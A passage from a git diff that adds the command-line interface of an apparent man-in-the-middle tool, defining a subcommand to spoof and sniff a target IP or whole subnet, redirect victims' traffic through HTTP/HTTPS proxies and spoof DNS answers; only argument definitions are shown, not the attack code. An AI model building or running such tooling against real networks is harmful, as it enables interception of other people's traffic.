victims traffic') + parser_spoof_spy.add_argument('target', help='Target IP address to spoof and sniff its traffic (* to attack the whole subnet)') + parser_spoof_spy.add_argument('-p', '--proxies', action='store_true', help='Deploy HTTP and HTTPS proxies to redirect victims traffic') + parser_spoof_spy.add_argument('-d', '--dns', action='store_true', help='Spoof DNS queries to redirect to the custom addresses (dns.spoof.hosts file)') + parser_spoof_spy.set_defaults(function=spoof.start_spy) + + args = parser.parse_args() + print(args.function(args)) + + +if __name__ == '__main__': + start() diff --git a/wifi_whitelist.txt b/wifi_whitelist.txt new file mode 100644 index 0000000..e69de29